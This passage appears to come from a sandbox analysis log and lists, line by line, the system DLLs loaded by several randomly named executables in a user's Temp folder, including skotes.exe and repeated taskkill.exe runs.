Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
